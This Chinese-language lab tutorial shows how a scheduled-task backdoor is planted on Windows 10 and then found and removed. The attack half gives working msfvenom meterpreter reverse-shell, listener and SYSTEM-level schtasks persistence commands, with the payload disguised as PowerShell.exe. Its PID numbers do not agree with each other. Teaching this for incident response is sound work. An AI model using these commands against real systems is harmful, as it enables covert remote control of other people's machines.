Windows系统计划任务后门的创建与应急处置实战
Windows系统计划任务后门的创建与应急处置实战
在网络安全领域,后门的创建和检测是一个重要的技术话题。本文将详细介绍Windows系统中计划任务后门的创建方法和应急处置方案,帮助读者更好地理解和防范此类安全威胁。
计划任务后门介绍
简介
计划任务后门是一种利用Windows操作系统的计划任务功能来维持持久访问的技术。通过在目标系统上创建计划任务,攻击者可以确保恶意程序在特定时间或条件下自动执行,从而实现对系统的持续控制。
原理
计划任务后门的工作原理基于Windows的计划任务调度器(Task Scheduler)。攻击者可以通过以下方式实现计划任务后门:
- 创建计划任务:攻击者使用命令行工具如
schtasks
或PowerShell脚本创建一个计划任务,该任务将在指定的时间或事件触发时执行恶意程序。 - 设置触发条件:计划任务可以设置为在系统启动时、用户登录时或特定的时间间隔内运行。这使得恶意程序能够在后台静默运行,不易被检测到。
- 隐藏和伪装:为了提高隐蔽性,攻击者可能会将计划任务配置为以系统账户运行,并尝试将其伪装成合法的系统进程或服务。
实现步骤
生成恶意程序:首先,攻击者需要生成一个恶意可执行文件(例如,一个反向Shell或下载器)。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -f exe -o malicious.exe
创建计划任务:使用
schtasks
命令或PowerShell脚本创建一个计划任务。以下是一个使用PowerShell创建计划任务的示例:$action = New-ScheduledTaskAction -Execute 'C:\path\to\malicious.exe' $trigger = New-ScheduledTaskTrigger -AtStartup Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "MyBackdoor" -Description "Backdoor task" -User "SYSTEM" -RunLevel Highest
验证计划任务:确认计划任务已成功创建并配置正确。可以使用以下命令查看计划任务列表:
Get-ScheduledTask | Where-Object {$_.TaskName -eq "MyBackdoor"}
测试后门:重启系统或等待触发条件满足,以确保恶意程序能够按预期执行。
防御措施
定期检查计划任务:管理员应定期检查系统中的计划任务,特别是那些不熟悉的任务或最近添加的任务。可以使用以下命令列出所有计划任务:
Get-ScheduledTask
监控异常行为:使用安全软件和入侵检测系统(IDS)监控系统中的异常行为,特别是那些涉及计划任务创建和修改的操作。
限制权限:最小化用户和服务账户的权限,避免使用高权限账户进行日常操作。确保只有必要的服务和应用程序具有创建和管理计划任务的权限。
日志审计:启用详细的系统日志记录,并定期审查日志文件,以发现任何可疑的计划任务活动。
更新和补丁管理:保持操作系统和应用程序的最新状态,及时应用安全补丁,以修复已知的漏洞。
计划任务后门创建实战
前提条件
假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的administrator权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门,包括我们这里讲到的启动项后门。
环境介绍
- 靶机:Windows 10
- IP:10.0.0.165
- 攻击机:Kali
- IP:10.0.0.128
利用MSF生成一个EXE类型的后门木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -f exe -o PowerShell.exe
MSF 启动监听
在Kali上监听端口55555,重启Windows 10之后马上就接收到目标机弹回来的shell
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.0.128
set lport 55555
run
将创建的后门上传到目标Windows机器
我这里时采用的Python起服务的方式,当然采用其他任何方式都行,只要上传到机器上面就行。
Kali起Python服务
python -m http.server 80
Windows访问Kali的Python服务下载PowerShell.exe
创建计划任务后门
在目标机内执行以下指令,创建一个wixoage计划任务,每一分钟执行一次PowerShell.exe,PowerShell.exe我放在C盘下。schtasks命令详解
schtasks /create /tn PowerShell /sc minute /mo 1 /tr C:\PowerShell.exe /ru system /f
查看计划任务成功创建,如下图所示:
schtasks /query /tn "PowerShell" /fo LIST /v
打开计划任务GUI程序进行查询
control schedtasks
Windows 10权限丢失
shell成功反弹
计划任务后门应急实战
查看网络连接
netstat -ano
工具TCPView查看网络连接装状况,TCPView参考。因为每一分钟或者几分钟定时任务才会执行一次,使用netstat -ano命令查看的话,只会查看当前时间的网络连接状态,时间把握不准的话不一定可以查看到程序异常连接,因此推荐使用TCPView,TCPView运行后可显示本机内存中执行的所有进程名、协议名称、本地地址+端口号、远程地址+端口号及它的状态,非常方便。
在Windows 10上打开TCPView,如下图所示,可以看到名字为PowerShell.exe的进程,其远程地址是10.0.0.128:55555,PID是746
但是TCPView流量检测过程中,PowerShell.exe程序一会儿红色一会儿绿色,像每个一分钟或者几分钟执行一次PowerShell.exe程序,推测可能存在定时任务
分析找到源头
通过PID号查找该进程文件所在的位置
wmic process get name,executablepath,processid|findstr 764
发现异常程序所在位置:
C:\PowerShell.exe PowerShell.exe 420
经检测发现C:\PowerShell.exe文件为后门木马
应急处置
删除发现的恶意文件PowerShell.exe(为了后续演示更清晰,我先不删除C:\PowerShell.exe文件),后续再慢慢排查存不存在服务等问题。
C:\PowerShell.exe
并通过PID号强制杀掉进程的命令
taskkill /f /pid 764
计划任务分析
查看计划任务,打开计划任务GUI程序进行查询
control schedtasks
发现名称为PowerShell的计划任务,每分钟执行一次PowerShell.exe。
删除计划任务
命令删除
schtasks /delete /tn "PowerShell" /f
GUI删除